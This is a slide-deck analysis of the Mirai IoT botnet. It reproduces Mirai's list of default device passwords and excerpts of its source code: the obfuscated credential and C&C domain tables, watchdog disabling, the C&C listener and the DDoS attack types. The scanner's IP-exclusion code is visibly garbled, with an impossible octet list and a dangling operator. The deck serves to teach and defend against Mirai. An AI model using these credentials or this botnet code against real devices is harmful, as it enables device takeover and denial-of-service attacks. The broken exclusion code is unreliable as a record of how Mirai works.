

Introduction to Mirai

Luis Espinoza

lespinoz@akamai.com

Hardcoded list of user/pass used by Mirai

Username/Password	Manufacturer
admin/123456	ACTi IP Camera
root/anko	ANKO Products DVR
root/pass	Axis IP Camera, et. al
root/vizxv	Dahua Camera
root/888888	Dahua DVR
root/666666	Dahua DVR
root/7ujMko0vizxv	Dahua IP Camera
root/7ujMko0admin	Dahua IP Camera
666666/666666	Dahua IP Camera
root/dreambox	Dreambox TV receiver
root/zlxx	EV ZLX Two-way Speaker?
root/juantech	Guangzhou Juan Optical
root/xc3511	H.264 - Chinese DVR
root/hi3518	HiSilicon IP Camera
root/klv123	HiSilicon IP Camera
root/klv1234	HiSilicon IP Camera
root/jvbsd	HiSilicon IP Camera
root/admin	IPX-DDK Network Camera
root/system	IQinVision Cameras, et. al
admin/meinsm	Mobotix Network Camera
root/54321	Packet8 VOIP Phone, et. al
root/00000000	Panasonic Printer
root/realtek	RealTek Routers
admin/1111111	Samsung IP Camera
root/xmhdipc	Shenzhen Anran Security Camera
admin/smcadmin	SMC Routers
root/ikwb	Toshiba Network Camera
ubnt/ubnt	Ubiquiti AirOS Router
supervisor/supervisor	VideolQ
root/<none>	Vivotek IP Camera
admin/1111	Xerox printers, et. al
root/Zte521	ZTE Router

<https://krebsonsecurity.com/wp-content/uploads/2016/10/IoTbadpass-Sheet1.pdf>
























loader/src/headers/includes.h

```
27  #define TOKEN_QUERY      "/bin/busybox ECCHI"
28  #define TOKEN_RESPONSE   "ECCHI: applet not found"
29
30  #define EXEC_QUERY       "/bin/busybox IHCCE"
31  #define EXEC_RESPONSE    "IHCCE: applet not found"
32
33  #define FN_DROPPER       "upnp"
34  #define FN_BINARY        "dvrHelper"
```

loader/src/headers/binary.h

```
1  #pragma once
2
3  #include "includes.h"
4
5  #define BINARY_BYTES_PER_ECHOLINE  128
6
7  struct binary {
8      char arch[6];
9      int hex_payloads_len;
10     char **hex_payloads;
11 };
12
13 BOOL binary_init(void);
14 struct binary *binary_get_by_arch(char *arch);
15
16 static BOOL load(struct binary *bin, char *fname);
```

mirai/bot/

 attack.c	·
 attack.h	·
 attack_app.c	·
 attack_gre.c	·
 attack_tcp.c	·
 attack_udp.c	·
 checksum.c	·
 checksum.h	·
 includes.h	·
 killer.c	·
 killer.h	·
 main.c	·
 protocol.h	·
 rand.c	·
 rand.h	·
 resolv.c	·
 resolv.h	·
 scanner.c	·
 scanner.h	·
 table.c	·
 table.h	·
 util.c	·
 util.h	·

Bot in device

dlr

..

 dlr.arm

 dlr.arm7

 dlr.m68k

 dlr.mips

 dlr.mpsl

 dlr.ppc

 dlr.sh4

 dlr.spc

resolv.c

```
void table_init(void)
{
    add_entry(TABLE_CNC_DOMAIN, "\\x41\\x4C\\x41\\x0C\\x41\\x4A\\x43\\x4C\\x45\\x47\\x4F\\x47\\x0C\\x41\\x4D\\x4F\\x22", 30); // cnc.changeme.com
    add_entry(TABLE_CNC_PORT, "\\x22\\x35", 2); // 23

    add_entry(TABLE_SCAN_CB_DOMAIN, "\\x50\\x47\\x52\\x4D\\x50\\x56\\x0C\\x41\\x4A\\x43\\x4C\\x45\\x47\\x4F\\x47\\x0C\\x41\\x4D\\x4F\\x22", 29); // report.changeme.com
    add_entry(TABLE_SCAN_CB_PORT, "\\x99\\xC7", 2); // 48101
```

```
--      -----,  -----,
84      addr.sin_addr.s_addr = INET_ADDR(8,8,8,8);
--      . . . . .
```

main.c

```
70 // Prevent watchdog from rebooting device
71 if ((wfd = open("/dev/watchdog", 2)) != -1 ||
72     (wfd = open("/dev/misc/watchdog", 2)) != -1)
73 {
```


scanner.c Static user/pass

```
123 // Set up passwords
124 add_auth_entry("\x50\x4D\x4D\x56", "\x5A\x41\x11\x17\x13\x13", 10); // root xc3511
125 add_auth_entry("\x50\x4D\x4D\x56", "\x54\x4B\x58\x5A\x54", 9); // root vizxv
126 add_auth_entry("\x50\x4D\x4D\x56", "\x43\x46\x4F\x4B\x4C", 8); // root admin
127 add_auth_entry("\x43\x46\x4F\x4B\x4C", "\x43\x46\x4F\x4B\x4C", 7); // admin admin
128 add_auth_entry("\x50\x4D\x4D\x56", "\x1A\x1A\x1A\x1A\x1A\x1A", 6); // root 888888
129 add_auth_entry("\x50\x4D\x4D\x56", "\x5A\x4F\x4A\x46\x4B\x52\x41", 5); // root xmhdipc
130 add_auth_entry("\x50\x4D\x4D\x56", "\x46\x47\x44\x43\x57\x4E\x56", 5); // root default
131 add_auth_entry("\x50\x4D\x4D\x56", "\x48\x57\x43\x4C\x56\x47\x41\x4A", 5); // root juantech
132 add_auth_entry("\x50\x4D\x4D\x56", "\x13\x10\x11\x16\x17\x14", 5); // root 123456
133 add_auth_entry("\x50\x4D\x4D\x56", "\x17\x16\x11\x10\x13", 5); // root 54321
134 add_auth_entry("\x51\x57\x52\x52\x4D\x50\x56", "\x51\x57\x52\x52\x4D\x50\x56", 5); // support support
135 add_auth_entry("\x50\x4D\x4D\x56", "", 4); // root (none)
136 add_auth_entry("\x43\x46\x4F\x4B\x4C", "\x52\x43\x51\x51\x55\x4D\x50\x46", 4); // admin password
137 add_auth_entry("\x50\x4D\x4D\x56", "\x50\x4D\x4D\x56", 4); // root root
```

scanner.c IP exceptions

```
688     while (o1 == 127 ||                // 127.0.0.0/8      - Loopback
689            (o1 == 0) ||                // 0.0.0.0/8        - Invalid address space
690            (o1 == 3) ||                // 3.0.0.0/8        - General Electric Company
691            (o1 == 15 || o1 == 16) ||   // 15.0.0.0/7       - Hewlett-Packard Company
692            (o1 == 56) ||                // 56.0.0.0/8       - US Postal Service
693            (o1 == 10) ||                // 10.0.0.0/8       - Internal network
694            (o1 == 192 && o2 == 168) ||   // 192.168.0.0/16   - Internal network
695            (o1 == 172 && o2 >= 16 && o2 < 32) || // 172.16.0.0/14    - Internal network
696            (o1 == 100 && o2 >= 64 && o2 < 127) || // 100.64.0.0/10   - IANA NAT reserved
697            (o1 == 169 && o2 > 254) ||   // 169.254.0.0/16   - IANA NAT reserved
698            (o1 == 198 && o2 >= 18 && o2 < 20) || // 198.18.0.0/15    - IANA Special use
699            (o1 >= 224) ||                // 224.*.*.*+       - Multicast
700            (o1 == 6 || o1 == 7 || o1 == 11 || o1 == 21 || o1 == 22 || o1 == 26 || o1 == 28 || o1 == 29 || o1 == 30 || o1 == 33 || o1 == 34 || o1 == 35 || o1 == 36 || o1 == 37 || o1 == 38 || o1 == 39 || o1 == 40 || o1 == 41 || o1 == 42 || o1 == 43 || o1 == 44 || o1 == 45 || o1 == 46 || o1 == 47 || o1 == 48 || o1 == 49 || o1 == 50 || o1 == 51 || o1 == 52 || o1 == 53 || o1 == 54 || o1 == 55 || o1 == 56 || o1 == 57 || o1 == 58 || o1 == 59 || o1 == 60 || o1 == 61 || o1 == 62 || o1 == 63 || o1 == 64 || o1 == 65 || o1 == 66 || o1 == 67 || o1 == 68 || o1 == 69 || o1 == 70 || o1 == 71 || o1 == 72 || o1 == 73 || o1 == 74 || o1 == 75 || o1 == 76 || o1 == 77 || o1 == 78 || o1 == 79 || o1 == 80 || o1 == 81 || o1 == 82 || o1 == 83 || o1 == 84 || o1 == 85 || o1 == 86 || o1 == 87 || o1 == 88 || o1 == 89 || o1 == 90 || o1 == 91 || o1 == 92 || o1 == 93 || o1 == 94 || o1 == 95 || o1 == 96 || o1 == 97 || o1 == 98 || o1 == 99 || o1 == 100 || o1 == 101 || o1 == 102 || o1 == 103 || o1 == 104 || o1 == 105 || o1 == 106 || o1 == 107 || o1 == 108 || o1 == 109 || o1 == 110 || o1 == 111 || o1 == 112 || o1 == 113 || o1 == 114 || o1 == 115 || o1 == 116 || o1 == 117 || o1 == 118 || o1 == 119 || o1 == 120 || o1 == 121 || o1 == 122 || o1 == 123 || o1 == 124 || o1 == 125 || o1 == 126 || o1 == 127 || o1 == 128 || o1 == 129 || o1 == 130 || o1 == 131 || o1 == 132 || o1 == 133 || o1 == 134 || o1 == 135 || o1 == 136 || o1 == 137 || o1 == 138 || o1 == 139 || o1 == 140 || o1 == 141 || o1 == 142 || o1 == 143 || o1 == 144 || o1 == 145 || o1 == 146 || o1 == 147 || o1 == 148 || o1 == 149 || o1 == 150 || o1 == 151 || o1 == 152 || o1 == 153 || o1 == 154 || o1 == 155 || o1 == 156 || o1 == 157 || o1 == 158 || o1 == 159 || o1 == 160 || o1 == 161 || o1 == 162 || o1 == 163 || o1 == 164 || o1 == 165 || o1 == 166 || o1 == 167 || o1 == 168 || o1 == 169 || o1 == 170 || o1 == 171 || o1 == 172 || o1 == 173 || o1 == 174 || o1 == 175 || o1 == 176 || o1 == 177 || o1 == 178 || o1 == 179 || o1 == 180 || o1 == 181 || o1 == 182 || o1 == 183 || o1 == 184 || o1 == 185 || o1 == 186 || o1 == 187 || o1 == 188 || o1 == 189 || o1 == 190 || o1 == 191 || o1 == 192 || o1 == 193 || o1 == 194 || o1 == 195 || o1 == 196 || o1 == 197 || o1 == 198 || o1 == 199 || o1 == 200 || o1 == 201 || o1 == 202 || o1 == 203 || o1 == 204 || o1 == 205 || o1 == 206 || o1 == 207 || o1 == 208 || o1 == 209 || o1 == 210 || o1 == 211 || o1 == 212 || o1 == 213 || o1 == 214 || o1 == 215 || o1 == 216 || o1 == 217 || o1 == 218 || o1 == 219 || o1 == 220 || o1 == 221 || o1 == 222 || o1 == 223 || o1 == 224 || o1 == 225 || o1 == 226 || o1 == 227 || o1 == 228 || o1 == 229 || o1 == 230 || o1 == 231 || o1 == 232 || o1 == 233 || o1 == 234 || o1 == 235 || o1 == 236 || o1 == 237 || o1 == 238 || o1 == 239 || o1 == 240 || o1 == 241 || o1 == 242 || o1 == 243 || o1 == 244 || o1 == 245 || o1 == 246 || o1 == 247 || o1 == 248 || o1 == 249 || o1 == 250 || o1 == 251 || o1 == 252 || o1 == 253 || o1 == 254 || o1 == 255) ||
701     );
702
```

mirai/cnc/

Command-&-Control

 [admin.go](#)

 [api.go](#)

 [attack.go](#)

 [bot.go](#)

 [clientList.go](#)

 [constants.go](#)

 [database.go](#)

 [main.go](#)

admin.go

```
70     this.conn.Write([]byte("\r\n\033[0m"))
71     this.conn.Write([]byte("[+] DDOS | Successfully hijacked connection\r\n"))
72     time.Sleep(250 * time.Millisecond)
73     this.conn.Write([]byte("[+] DDOS | Masking connection from utmp+wtmp...\r\n"))
74     time.Sleep(500 * time.Millisecond)
75     this.conn.Write([]byte("[+] DDOS | Hiding from netstat...\r\n"))
76     time.Sleep(150 * time.Millisecond)
77     this.conn.Write([]byte("[+] DDOS | Removing all traces of LD_PRELOAD...\r\n"))
78     for i := 0; i < 4; i++ {
79         time.Sleep(100 * time.Millisecond)
80         this.conn.Write([]byte(fmt.Sprintf("[+] DDOS | Wiping env libc.poisson.so.%d\r\n", i + 1)))
81     }
82     this.conn.Write([]byte("[+] DDOS | Setting up virtual terminal...\r\n"))
83     time.Sleep(1 * time.Second)
```

attack.go

- Attack Name: “udp”, “vse”, “dns”, “syn”, “ack”, “stomp”, “greip”, “greeth”, “udpplain”, “http”
- Attack targets:
“Comma delimited list of target prefixes Ex: 192.168.0.1 Ex: 10.0.0.0/8
Ex: 8.8.8.8,127.0.0.0/29”
- Attack Duration: “Duration must be between 0 and 3600 seconds”
- Flags: “len”, “rand”, “tos”, “ident”, “sport”, “dport”, “domain” ...

main.go

```
9
10 const DatabaseAddr string = "127.0.0.1"
11 const DatabaseUser string = "root"
12 const DatabasePass string = "password"
13 const DatabaseTable string = "mirai"
14
18 func main() {
19     tel, err := net.Listen("tcp", "0.0.0.0:23")
20     if err != nil {
21         fmt.Println(err)
22         return
23     }
24
25     api, err := net.Listen("tcp", "0.0.0.0:101")
```

mirai/tools/scanListen.go

Bot scan report

```
10
11 func main() {
12     l, err := net.Listen("tcp", "0.0.0.0:48101")
13     if err != nil {
14         fmt.Println(err)
15         return
16     }
17
```

Problem of volume

- The “Internet of Things” is exploding. It is made up of billions of “smart” devices—from miniscule chips to mammoth machines—that use wireless technology to talk to each other (and to us). Our IoT world is growing at a breathtaking pace, **from 2 billion objects in 2006 to a projected 200 billion by 2020.¹ That will be around 26 smart objects for every human being on Earth!**

- ¹IDC, Intel, United Nations.

- * <http://www.intel.com/content/www/us/en/internet-of-things/infographics/guide-to-iot.html>

Comments?

Thank you!